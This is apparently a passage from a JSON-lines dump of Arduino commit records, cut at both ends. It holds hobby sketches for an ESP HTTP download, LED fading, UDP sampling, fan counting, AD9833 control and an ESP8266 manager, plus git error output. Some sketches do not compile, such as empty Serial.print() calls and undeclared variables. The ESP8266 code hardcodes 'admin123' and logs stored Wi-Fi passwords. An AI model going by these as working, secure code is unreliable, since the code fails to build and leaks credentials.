Serial.println();\n Serial.println(\" \");\n Serial.printf(\"[SPIFFS] opened: %d\\n\", result);\n\n File f = SPIFFS.open(filename, \"r\");\n if (f) {\n if (!SPIFFS.remove(filename)) {\n Serial.println(\"[SPIFFS] file remove failed\");\n }\n Serial.println(\"[SPIFFS] download\");\n } else {\n Serial.println(\"[SPIFFS] no file\");\n }\n f.close();\n \n bgetfiles = true;\n\n wifi_connect();\n}\n\nvoid loop() {\n if (WiFi.status() == WL_CONNECTED && bgetfiles) {\n HTTPClient http;\n Serial.print(\"[HTTP] begin...\\n\");\n \/\/http.begin(\"http:\/\/192.168.10.10\/0416.jpg\");\n http.begin(\"192.168.10.10\", 80, \"\/0416.jpg\");\n Serial.print(\"[HTTP] GET...\\n\");\n int httpCode = http.GET();\n if (httpCode > 0) {\n Serial.printf(\"[HTTP] GET... code: %d\\n\", httpCode);\n if (httpCode == HTTP_CODE_OK) {\n int len = http.getSize();\n int filesize = len;\n uint8_t buff[128] = { 0 };\n\n Serial.printf(\"[HTTP] GET... size: %d\\n\", len);\n WiFiClient * stream = http.getStreamPtr();\n\n File f = SPIFFS.open(filename, \"w\");\n\n while (http.connected() && (len > 0 || len == -1)) {\n size_t size = stream->available();\n if (size) {\n int c = stream->readBytes(buff, ((size > sizeof(buff)) ? sizeof(buff) : size));\n\n Serial.printf(\"*****\\t%d\\t***\\t%d %\\n\", (filesize - len), ((filesize - len) \/ (filesize \/ 100)));\n \/\/Serial.write(buff, c);\n f.write(buff, c);\n\n if (len > 0) {\n len -= c;\n }\n }\n delay(1);\n }\n f.close();\n\n Serial.println();\n Serial.println(\"[HTTP] connection closed\");\n }\n } else {\n Serial.printf(\"[HTTP] GET... failed, error: %s\\n\", http.errorToString(httpCode).c_str());\n }\n http.end();\n\n Serial.println(\"[SPIFFS] verify\");\n File f = SPIFFS.open(filename, \"r\");\n if (!f) {\n Serial.println(\"[SPIFFS] File doesn't exist yet\");\n } else {\n \n Serial.println(\"[SPIFFS] content \/ start\");\n while (f.available()) {\n String line = f.readStringUntil('\\n');\n \/\/Serial.println(line);\n }\n \n Serial.println(\"[SPIFFS] content \/ stop\");\n Serial.println();\n Serial.printf(\"[SPIFFS] file.name(): %s\\n\", f.name());\n Serial.printf(\"[SPIFFS] file.size(): %d\\n\", f.size());\n f.close();\n }\n }\n bgetfiles = false;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_56-gopro-control\/a-6-httptospiffs-image\/a-6-httptospiffs-image.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"b1852422dd7bdd22bacaa80f7e732e13cb6b3d19","subject":"Timeout prevents sensing far objects and eliminates false near readings","message":"Timeout prevents sensing far objects and eliminates false near readings\n\nBecause during sumo competition the robot only needs to sense other robots in the ring, which is 77 cm in diameter, we can tell pulseIn to stop after a given number of microseconds -- in this case the timeout is set to 7000 which in theory would correspond to 120 cm. In practice robot's stop sensing and simply report 0's around 110 cm. The ADVANTAGE of doing this is that it greatly reduces the chance of getting a false reading of a value near enough to be your opponent. This false positive can be caused by a previous ultrasonic chirp bouncing back to the HC-SR04 after the robot has initiated but not yet finished a new ultrasound measurement. The DISADVANTAGE is that in competition you will get many 0 distance values. HOWEVER, this can easily be handled in your competition code, just look for values within the expected range, or reduce the timeout to whatever threshold value you like and then attack if a distance greater than 0 is read.","repos":"SumoRobotLeague\/MRK-1_Misc,SumoRobotLeague\/MRK-1_Misc","old_file":"Testing the Board\/Test_Ultrasound\/Test_Ultrasound.ino","new_file":"Testing the Board\/Test_Ultrasound\/Test_Ultrasound.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Testing' did not match any file(s) known to git\nerror: pathspec 'the' did not match any file(s) known to git\nerror: pathspec 'Board\/Test_Ultrasound\/Test_Ultrasound.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2a6ee07c548f5b287482338599538a05a9f0db4f","subject":"Initial commit","message":"Initial commit\n\nExample of fading LED\n","repos":"rlynch3456\/Arduino","old_file":"fade\/fade.ino","new_file":"fade\/fade.ino","new_contents":"\/*\n Fade\n \n This example shows how to fade an LED on pin 9\n using the analogWrite() function.\n \n This example code is in the public domain.\n *\/\n\nint led = 9; \/\/ the pin that the LED is attached to\nint brightness = 0; \/\/ how bright the LED is\nint fadeAmount = 5; \/\/ how many points to fade the LED by\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() { \n \/\/ declare pin 9 to be an output:\n pinMode(led, OUTPUT);\n} \n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() { \n \/\/ set the brightness of pin 9:\n analogWrite(led, brightness); \n\n \/\/ change the brightness for next time through the loop:\n brightness = brightness + fadeAmount;\n\n \/\/ reverse the direction of the fading at the ends of the fade: \n if (brightness == 0 || brightness == 255) {\n fadeAmount = -fadeAmount ; \n } \n \/\/ wait for 30 milliseconds to see the dimming effect \n delay(30); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'fade\/fade.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b6e3ec696d6108e013cdf7eb0081701f0ca4494a","subject":"pbduino (arduino code for sampling and streaming over the network)","message":"pbduino (arduino code for sampling and streaming over the network)\n","repos":"ap1\/PixeeBel,ap1\/PixeeBel,ap1\/PixeeBel,ap1\/PixeeBel","old_file":"code\/pbduino\/pbduino.ino","new_file":"code\/pbduino\/pbduino.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n#include <EthernetUdp.h>\n#include <TimerThree.h>\n\n\/* Author: github2k15\n Timer3 library is required for this to work\n\nResources:\n 1. Timer3 from http:\/\/playground.arduino.cc\/Code\/Timer1 \n 2. http:\/\/apcmag.com\/arduino-projects-digital-audio-recorder.htm\/\n 3. Arduino ATMEGA2560 datasheet\n http:\/\/www.atmel.com\/Images\/Atmel-2549-8-bit-AVR-Microcontroller-ATmega640-1280-1281-2560-2561_datasheet.pdf\n\t [from https:\/\/www.arduino.cc\/en\/Main\/ArduinoBoardMega2560]\n*\/\n\n\n\/* Network related definitions *\/\n\nIPAddress dest_ip(192, 168, 10, 147);\nunsigned int dest_port = 8888; \n\n#define cbi(flag, bit)\t\t\t( flag &= ~_BV(bit) )\n#define sbi(flag, bit)\t\t\t( flag |= _BV(bit) )\n\nbyte our_mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nIPAddress our_ip(192, 168, 10, 177);\nunsigned int our_port = 8888; \n\n#ifdef TIMER5\nconst int SAMP_CLOCKS = 640; \/\/ 160Mhz\/25kHz = 640\n#else \/\/ TIMER3\nconst int SAMP_DELAY_US = 110;\n#endif\n\nEthernetUDP Udp;\n\n\n\/* Sampling related definitions *\/\n\ntypedef unsigned char Sample;\n\/\/#define ADMUX_INIT_ONCE\n#define NUM_CHANNELS (4)\n#define NUM_SAMPLES (240)\n#define SAMPLE_BYTES (sizeof(Sample))\n\nstruct __attribute__((__packed__)) buffer_h {\n\tunsigned short int sample_seq;\n\tunsigned char num_channels;\n\tunsigned char num_samples;\n\tunsigned short int send_timestamp;\n\tSample data[0];\n};\n\n\n\/* Buffering related definitions *\/\n\n#define NUM_BUFFERS (4)\n#define BUFFER_SIZE (sizeof(struct buffer_h) + SAMPLE_BYTES*NUM_SAMPLES*NUM_CHANNELS)\nvolatile byte buffer[NUM_BUFFERS][BUFFER_SIZE];\n\n#define NEXT_BUFFER(n) ((n+1) % NUM_BUFFERS)\n#define PREV_BUFFER(n) ((n-1) % NUM_BUFFERS)\n\nvolatile unsigned int active_buffer = 0;\nstruct buffer_h *active_buffer_ptr;\nunsigned int samples_collected = 0;\nSample *sample_ptr = 0;\nstatic unsigned short int sample_seq = 0;\n\n\/\/ set to 1 in the timer code to push a packet out from loop()\nvolatile static byte push_pkt = 0;\nvolatile static byte cont_sampling = 1;\n\n\n\/* Misc definitions *\/\n\nstatic int led=HIGH;\nstatic unsigned long int count=0;\n\n\n\n\/* setup_channels() *\/\nvoid setup_channels() { \/* do nothing *\/ }\n\n\n#ifdef TIMER5\ninline void setup_interrupts()\n{\n\tnoInterrupts();\n\tTCCR5A = 0;\n\tTCCR5B = 0;\n\n\tTCNT5 = SAMP_CLOCKS;\n\tTCCR5B |= (1 << CS10 );\n\tTIMSK5 |= (1<<TOIE5);\n\tinterrupts();\n}\n#endif\n\n\n\/* setup() *\/\nvoid setup()\n{\n\tsetup_channels();\n\n\tSerial.begin(115200);\n\twhile (!Serial) {\n\t\t; \/\/ wait for serial port to connect. Needed for Leonardo only\n\t}\n\n\tdelay(1);\n\tSerial.println( \"Serial interface ready\" );\n\n\tEthernet.begin(our_mac, our_ip);\n\tUdp.begin(our_port);\n\n\tdelay(1);\n\tSerial.println( \"Ethernet ready\" );\n\n#ifdef ADMUX_INIT_ONCE\n\t\/\/ We are doing this everytime we switch channels\n\tcbi(ADCSRA, ADPS2);\n\tsbi(ADCSRA,ADPS1);\n\tsbi(ADCSRA,ADPS0);\n\n\tADMUX = 0x65;\n#endif\n\n\tpinMode( 13, OUTPUT );\n\n\tactive_buffer = 0;\n\tsamples_collected = 0;\n\tactive_buffer_ptr = (struct buffer_h *) buffer[active_buffer];\n\tsample_ptr = active_buffer_ptr->data;\n\n\tdelay(1);\n cont_sampling = 1;\n#ifdef TIMER5\n\tsetup_interrupts();\n#else\n\tTimer3.initialize(1);\n\tTimer3.attachInterrupt(do_sampling);\n\tTimer3.setPeriod(SAMP_DELAY_US);\n#endif\n\n}\n\n\n\n#ifdef TIMER5\nISR(TIMER5_OVF_vect)\n{\n\tTCNT5 = SAMP_CLOCKS; \/\/ preload timer\n\tTCCR5B |= (1 << CS10 );\n\n\tif (--count==0) {\n\t\tled = ~led;\n\t\tcount=1000;\n\t}\n}\n#else\nvoid do_sampling()\n{\n Sample sam;\n\tunsigned char i;\n\n if (!cont_sampling) {\n return;\n }\n\n\tfor (i=0; i<NUM_CHANNELS; i++) {\n\t\t\/\/ Switch input channel\n\t\t\/\/ REFS[1:0] = 0x40 -> AVCC ref\n\t\t\/\/ ADLAR = 0x20 -> left shifted values (readin g ADCH is sufficient)\n#ifndef ADMUX_INIT_ONCE\n\t\t\/\/ set prescaling\n\t\tcbi(ADCSRA, ADPS2);\n\t\tsbi(ADCSRA, ADPS1);\n\t\tsbi(ADCSRA, ADPS0);\n\n\t\tADMUX = 0x60 | i;\n#endif\n\n\t\t\/\/ start sampling\n\t\tsbi(ADCSRA, ADSC);\n\t\twhile(bit_is_set(ADCSRA, ADSC)); \/\/ wait until sampling is complete\n\n sam = ADCH;\n\t\t*sample_ptr = sam;\n\t\tsample_ptr++;\n\t}\n\n\tsamples_collected++; \n\n\tif (samples_collected==NUM_SAMPLES) {\n\/\/ Timer3.stop();\n cont_sampling = 0;\n\/\/\t\tactive_buffer = NEXT_BUFFER(active_buffer);\n\/\/\t\tactive_buffer_ptr = (struct buffer_h *) buffer[active_buffer];\n\/\/\t\tsample_ptr = active_buffer_ptr->data;\n\/\/\t\tsamples_collected = 0;\n\n\t\tled = led ^ 1;\n\t\tpush_pkt = 1;\n\t}\n}\n#endif\n\n\nvoid loop()\n{\n\tstruct buffer_h *send_buffer_ptr;\n\tdigitalWrite( 13, led );\n\n\n\tif (push_pkt) {\n\t\tsend_buffer_ptr = (struct buffer_h *) buffer[active_buffer];\n\n\t\tactive_buffer = NEXT_BUFFER(active_buffer);\n\t\tactive_buffer_ptr = (struct buffer_h *) buffer[active_buffer];\n\n cont_sampling = 1;\n\t\tpush_pkt = 0;\n\n\t\tsample_ptr = active_buffer_ptr->data;\n\t\tsamples_collected = 0;\n\n\t\tsend_buffer_ptr->sample_seq = sample_seq++;\n\t\tsend_buffer_ptr->num_channels = NUM_CHANNELS;\n\t\tsend_buffer_ptr->num_samples = NUM_SAMPLES;\n\t\tsend_buffer_ptr->send_timestamp = micros() & 0xffff;\n\n\t\tUdp.beginPacket(dest_ip, dest_port);\n\t\tUdp.write((char *)send_buffer_ptr, BUFFER_SIZE);\n\t\tUdp.endPacket();\n\t}\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/pbduino\/pbduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f5a1423180f021d2eefeb3450edbf5bde9d50e5f","subject":"added stop function","message":"added stop function\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"erikson-1\/erikson-1.ino","new_file":"erikson-1\/erikson-1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3a10e21b4e5d07b4b4e510b1233b04479c53d82f","subject":"Fix direction of motor based on w.","message":"Fix direction of motor based on w.\n","repos":"Bobox214\/Dovlo,Bobox214\/Dovlo","old_file":"arduino\/MegaPi_Firmware\/MegaPi_Firmware.ino","new_file":"arduino\/MegaPi_Firmware\/MegaPi_Firmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Bobox214\/Dovlo.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f04102f4edf191eeeb8940fdc2c0898c42c3b9c9","subject":"Remove wind direction. Speed up push. Remove unneeded delays.","message":"Remove wind direction. Speed up push. Remove unneeded delays.\n","repos":"spoollord\/MyOurWeather,spoollord\/MyOurWeather","old_file":"MyOurWeather.ino","new_file":"MyOurWeather.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spoollord\/MyOurWeather.git\/'\n","license":"isc","lang":"Arduino"} {"commit":"ed62cb7d7761d0fdaa3fcacf3d54c4f817956cce","subject":"Codigo en Arduino","message":"Codigo en Arduino\n","repos":"EsauGlez\/Controlador-Ventilador","old_file":"Cont_pulsos\/Cont_pulsos.ino","new_file":"Cont_pulsos\/Cont_pulsos.ino","new_contents":"\n\/\/CONTADOR DE PULSOS DE UN VNTILADOR DE COMPUTADORA SIN ESCOBILLAS\n\nconst int hardwareCounterPin = 5; \/\/ Entrada del pin para el Timer(Contador)\nint P_entrada = 8; \/\/Pines utilzados para mostrar la lectura y \nint P_salida = 9; \/\/escritura del arduino en cuanto a la se\u00f1al\nint Valor = 0; \nint pin_c = 12; \/\/Pin utilizado para saber si el contador funciona bien\nint RPM =0; \/\/Variable para almacenar el valor de las RPM\n\nconst int samplePeriod = 1000; \/\/ muestra de tiempo (1s)\nunsigned int count; \/\/Variable del contador\n\n\nvoid setup()\n{\n Serial.begin(9600);\n pinMode(P_entrada, INPUT);\n pinMode(P_salida, OUTPUT);\n pinMode(pin_c, OUTPUT);\n \n TCCR1A=0; \/\/ reset timer\/counter control register A\n} \n\nvoid loop()\n{\n Valor = digitalRead(P_entrada); \/\/Se lee la entrada y se asigna a Valor\n digitalWrite(P_salida,Valor); \/\/Se desplega en una salida\n digitalWrite(pin_c,HIGH); \/\/Se pone en alto para conocer cuando comienza a contar \n \/\/ Comienza el conteo\n bitSet(TCCR1B ,CS12); \/\/ Counter Clock source is external pin\n bitSet(TCCR1B ,CS11); \/\/ Clock on rising edge \n delay(samplePeriod); \/\/Tiempo que cuenta\n \/\/ Para de contar \n digitalWrite(pin_c,LOW); \/\/Se pone en bajo para fijar el periodo para comparar el conteo\n \/\/delay(samplePeriod); \/\/Este retardo es para notar el cambio\n TCCR1B = 0; \n count = TCNT1;\n TCNT1 = 0; \/\/ reset the hardware counter\n\n RPS = count \/ 12; \/\/ Se calculan las RPS--Revoluciones por segundo\n \n \/\/Nota... el valor \"12\" puede cambiar depende del numero de dientes que tenga\n \/\/el encoder\n \n Serial.println(count);\n Serial.println(RPS); \/\/Se despliega el valor obtenido\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Cont_pulsos\/Cont_pulsos.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a96fd519a052a0fada84f0c18dd35eb99eed7aa3","subject":"Fixed a bug in how the circle was displayed","message":"Fixed a bug in how the circle was displayed\n","repos":"buelowp\/sleepintimer","old_file":"sleepintimer\/sleepintimer.ino","new_file":"sleepintimer\/sleepintimer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/buelowp\/sleepintimer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e6fd3fe04e8a5c19833d4de2053abd36869394b3","subject":"Initial commit","message":"Initial commit\n","repos":"AlexJaeger\/AD9833Teensy","old_file":"ad9833\/ad9833.ino","new_file":"ad9833\/ad9833.ino","new_contents":"\/*\nworks\n *\/\n\n#include \"SPI.h\" \/\/ necessary library\n\n\/\/ Set master clock frequency to 6MHz\nfloat f_MCK=6000000;\n\n\/\/ Default frequencies for each coil.\nfloat coilfreq1=10500;\nfloat coilfreq2=11500;\nfloat coilfreq3=12500;\nfloat coilfreq4=13500;\nfloat coilfreq5=14500;\nfloat coilfreq6=15500;\nfloat coilfreq7=16500;\nfloat coilfreq8=17500;\n\nconst int coilen1 = 3;\nconst int coilen2 = 4;\nconst int coilen3 = 5;\nconst int coilen4 = 6;\nconst int coilen5 = 7;\nconst int coilen6 = 8;\nconst int coilen7 = 9;\nconst int coilen8 = 10;\n\n\nvoid setup()\n{\n\n pinMode(coilen1, INPUT);\n pinMode(coilen2, INPUT);\n pinMode(coilen3, INPUT);\n pinMode(coilen4, INPUT);\n pinMode(coilen5, INPUT);\n pinMode(coilen6, INPUT);\n pinMode(coilen7, INPUT);\n pinMode(coilen8, INPUT);\n\n digitalWrite(coilen1, HIGH);\n digitalWrite(coilen2, HIGH);\n digitalWrite(coilen3, HIGH);\n digitalWrite(coilen4, HIGH);\n digitalWrite(coilen5, HIGH);\n digitalWrite(coilen6, HIGH);\n digitalWrite(coilen7, HIGH);\n digitalWrite(coilen8, HIGH);\n\n \/\/ wake up the SPI bus and set SPI mode and SCLK divisor.\n SPI.begin();\n SPI.setClockDivider(SPI_CLOCK_DIV128);\n SPI.setBitOrder(MSBFIRST);\n SPI.setDataMode(SPI_MODE2);\n \n}\n\n\nvoid loop()\n{\n\n \/\/ Allow some time for power-on\n delay(3000);\n\n \/\/ Program each AD9833 waveform generator\n sendAllFreqs();\n\n\n \/\/Spin MCU indefinitely\n while(1){\n delay(200);\n \/\/sendFreq(coilfreq1,coilen1);\n }\n}\n\n\n\/\/ Calculate the word required for programming the AD9833 to frequency 'freq'\nlong calc_freq_reg(float freq)\n {\n \/\/ Declare variables for calculations\n long freqWord;\n float bitsPerHz;\n float totalBits;\n\n \/\/ Bits per unit Hz with respect to the frequency of the master clock MCLK\n bitsPerHz=(268435456.0\/f_MCK);\n \/\/ Total number of bits required for the desired frequency\n totalBits=(freq * bitsPerHz);\n \/\/ Round up to the nearest integer; \n \n freqWord=long(ceil(totalBits));\n\n return freqWord; \n}\n\n\n\n\n\nvoid sendFreq(float freq, int pin_no)\n{\n\n delay(100);\n long freq_reg_word;\n word LSB_part;\n word MSB_part;\n\n freq_reg_word=calc_freq_reg(freq);\n LSB_part=freq_reg_word&0b0000000000000011111111111111;\n MSB_part=freq_reg_word >> 14;\n LSB_part=LSB_part|0b0100000000000000;\n MSB_part=MSB_part|0b0100000000000000;\n\n \n digitalWrite(pin_no,LOW);\n pinMode(pin_no, OUTPUT);\n \n delayMicroseconds(100);\n SPI.transfer(highByte(0x2100));\n SPI.transfer(lowByte(0x2100));\n SPI.transfer(highByte(LSB_part));\n SPI.transfer(lowByte(LSB_part));\n SPI.transfer(highByte(MSB_part));\n SPI.transfer(lowByte(MSB_part));\n SPI.transfer(highByte(0xC000));\n SPI.transfer(lowByte(0xC000));\n SPI.transfer(highByte(0x2000));\n SPI.transfer(lowByte(0x2000));\n delayMicroseconds(25);\n pinMode(pin_no, INPUT);\n\n delay(100);\n}\n\n\n\nvoid sendAllFreqs()\n{\n int i = 0;\n\n for (i=0;i<10;i++)\n {\n sendFreq(coilfreq1, coilen1);\n sendFreq(coilfreq2, coilen2);\n sendFreq(coilfreq3, coilen3);\n sendFreq(coilfreq4, coilen4);\n sendFreq(coilfreq5, coilen5);\n sendFreq(coilfreq6, coilen6);\n sendFreq(coilfreq7, coilen7);\n sendFreq(coilfreq8, coilen8);\n }\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ad9833\/ad9833.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"03a415dad264fdddf8de92a48a3516c8dd4c6df5","subject":"Added DiscoverDevices.ino","message":"Added DiscoverDevices.ino\n","repos":"DerbyGrammar\/DS18B20","old_file":"src\/DiscoverDevices\/DiscoverDevices.ino","new_file":"src\/DiscoverDevices\/DiscoverDevices.ino","new_contents":"#include <OneWire.h>\n\nvoid setup() {\n Serial.begin(9600);\n\n discoverOneWireDevices();\n}\n\nvoid loop() {}\n\nvoid discoverOneWireDevices() {\n byte i;\n byte present = 0;\n byte data[12];\n byte addr[8];\n\n Serial.print();\n while(ourBus.search(addr)) {\n Serial.print();\n for( i = 0; i < 8; i++) {\n Serial.print();\n if (addr[i] < 16) {\n Serial.print();\n }\n Serial.print(addr[i], HEX);\n if (i < 7) {\n Serial.print();\n }\n }\n if ( OneWire::crc8( addr, 7) != addr[7]) {\n Serial.print();\n return;\n }\n }\n Serial.println();\n Serial.print();\n ourBus.reset_search();\n return;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/DiscoverDevices\/DiscoverDevices.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0f5e09ec0630ca12937b462347fd294268a25b5c","subject":"Add files via upload","message":"Add files via upload\n\nThis is the code for your esp8266 device.\r\nJust upload to your esp8266, open a serial monitor window since by default the code is in debug mode.","repos":"sbeland2\/esp8266-manager,sbeland2\/esp8266-manager","old_file":"espmanager.ino","new_file":"espmanager.ino","new_contents":"\/*\n * ESP8266 Manager \n * \n * Copyright (c) 2016, Serge Beland (sbeland@gmail.com)\n * All rights reserved.\n * \n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n * \n * * Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * \n * * Redistributions in binary form must reproduce the above copyright notice, this\n * list of conditions and the following disclaimer in the documentation and\/or\n * other materials provided with the distribution.\n * \n * * Neither the name of <Serge Beland> nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n * \n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <ESP8266WiFi.h>\n#include <EEPROM.h>\n#include <WiFiClient.h> \n#include <ESP8266WebServer.h>\n\n\nchar *ServerHost = \"sbelandiot.com\"; \/\/ where your php\/html files are hosted, everything must be under the root directory\n\n#define DEBUG \/\/ comment it out to remove debugging display on serial monitor \n \/\/ if you use, then esp will wait that you open the serial monitor window before starting\n\n#ifdef DEBUG\n#define DebugInit() Serial.begin(115200)\n#define Debugln(...) Serial.println(__VA_ARGS__)\n#define Debug(v) Serial.print(v)\n#define Debugf(...) Serial.printf(__VA_ARGS__)\n#else\n#define DebugInit()\n#define Debug(...)\n#define Debugln(...)\n#define Debugf(...)\n#endif\n\n#define STATE_AP_MODE 0\n#define STATE_WAIT_INPUT 1 \n#define STATE_GET_INFO 2\n#define STATE_SEND_MAIL_STARTED 3\n#define STATE_WAIT_FOR_SENSOR 4\n#define STATE_PENDING_MODE 5\n#define STATE_UPDATE_INFO 6\n\n#define SENDMAIL_OPTION_STARTED 0\n#define SENDMAIL_OPTION_SENSOR1 1\n\n#define SSID_AD 0\n#define SSID_PASSWORD_AD 49\n#define ESP_PASSWORD_AD 114\n#define EMAIL_AD 131\n\nchar Ssid [49];\nchar SsidPassword [65];\nchar EspPassword [17];\nchar Email [65];\n\nchar EspName [17];\nint NbOfSsid;\nint state; \/\/ different state in loop\nunsigned long StartTime = 0; \/\/ keep the time passed in seconds since the module started\nbool PendingMode = 0; \/\/ use to say if this iot is activated on web server (so we can keep going) or not (so we must wait)\nunsigned long TimeSet = 0; \/\/ can be use to measure time elapse in millisecond between 2 points by using SetTime and TimeDiff\nunsigned long UpdateTimeSet = 0; \/\/ is used by the update info interval\nunsigned long UpdateInterval = 60000;\nchar *EspDefaultPW = \"admin123\";\n\nESP8266WebServer server (80); \/\/ use for AP mode to setup the esp\n\n\n\/*\n * replace {v} with title\n * String page = Header;\n * page.replace (\"{v}\", \"yourtitle\");\n * \n \/*\n * to add in the header of html to refresh the browser page every x seconds\n * <meta http-equiv='refresh' content='5'\/> \n *\/\nchar *Header = \"<!DOCTYPE html><html lang=\\\"en\\\"><head><meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1, user-scalable=no\\\"\/><title>{v}<\/title>\"\n\"<style>.c{text-align: center;} div,input{padding:5px;font-size:1em;} input{width:95%;} body{text-align: center;font-family:verdana;} button{border:0;border-radius:0.3rem;background-color:#1fa3ec;color:#fff;line-height:2.4rem;font-size:1.2rem;width:100%;} .q{float: right;width: 64px;text-align: right;} .l{background: url(\\\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAMAAABEpIrGAAAALVBMVEX\/\/\/8EBwfBwsLw8PAzNjaCg4NTVVUjJiZDRUUUFxdiZGSho6OSk5Pg4eFydHTCjaf3AAAAZElEQVQ4je2NSw7AIAhEBamKn97\/uMXEGBvozkWb9C2Zx4xzWykBhFAeYp9gkLyZE0zIMno9n4g19hmdY39scwqVkOXaxph0ZCXQcqxSpgQpONa59wkRDOL93eAXvimwlbPbwwVAegLS1HGfZAAAAABJRU5ErkJggg==\\\") no-repeat left center;background-size: 1em;}<\/style>\"\n\"<script>function c(l){document.getElementById('s').value=l.innerText||l.textContent;document.getElementById('p').focus();}<\/script>\"\n\"<\/head><body><div style='text-align:left;display:inline-block;min-width:260px;'>\";\n\nchar *Footer = \"<\/body><\/html>\";\n\n\n\/* \n * This function list all available AP on serial monitor\n * it return the number of networks found\n * you can access each network from WiFi.SSID (index) where index < number of network\n *\/\nint ListAP (void)\n{ \n Debugln (\"ListAP\\nScanning...wait\");\n \n \/\/ WiFi.scanNetworks will return the number of networks found\n NbOfSsid = WiFi.scanNetworks();\n \n if (NbOfSsid == 0)\n {\n Debugln (\"\\nNo networks found!!!\");\n return 0;\n }\n\n Debugf (\"%d networks found\\n\\n\", NbOfSsid);\n \n for (int i = 0; i < NbOfSsid; ++i)\n {\n \/\/ Print SSID and RSSI for each network found\n Debug (i + 1);\n Debug (\": \");\n Debug (WiFi.SSID(i));\n Debug (\" (\");\n Debug (WiFi.RSSI(i));\n Debug (\")\");\n Debugln ((WiFi.encryptionType (i) == ENC_TYPE_NONE) ? \" \" : \"* \");\n \/\/Debugln (WiFi.remoteIP ());\n delay(10);\n }\n Debugln (\"\\nScan done\");\n\n return NbOfSsid; \n}\n\n\nvoid GetEEpromInfo ()\n{\n EEPROM.begin(512);\n\n EEPROM.get (SSID_AD, Ssid);\n EEPROM.get (SSID_PASSWORD_AD, SsidPassword);\n EEPROM.get (ESP_PASSWORD_AD, EspPassword);\n EEPROM.get (EMAIL_AD, Email);\n\n Ssid [sizeof (Ssid) - 1] = 0;\n SsidPassword [sizeof (SsidPassword) - 1] = 0;\n EspPassword [sizeof (EspPassword) - 1] = 0;\n Email [sizeof (Email) - 1] = 0;\n \n Debugln (\"\\nEEPROM INFO READED\");\n Debugf (\"SSID: %s\\n\", Ssid);\n Debugf (\"SsidPassword: %s\\n\", SsidPassword);\n Debugf (\"ESP Password: %s\\n\", EspPassword);\n Debugf (\"Email: %s\\n\\n\", Email);\n}\n\n\/*\n * Write in eeprom 4 variables: ssid, password, email and esp password\n *\/\nvoid SetEEpromInfo ()\n{\n EEPROM.begin(512);\n \n EEPROM.put (SSID_AD, Ssid);\n EEPROM.put (SSID_PASSWORD_AD, SsidPassword);\n EEPROM.put (ESP_PASSWORD_AD, 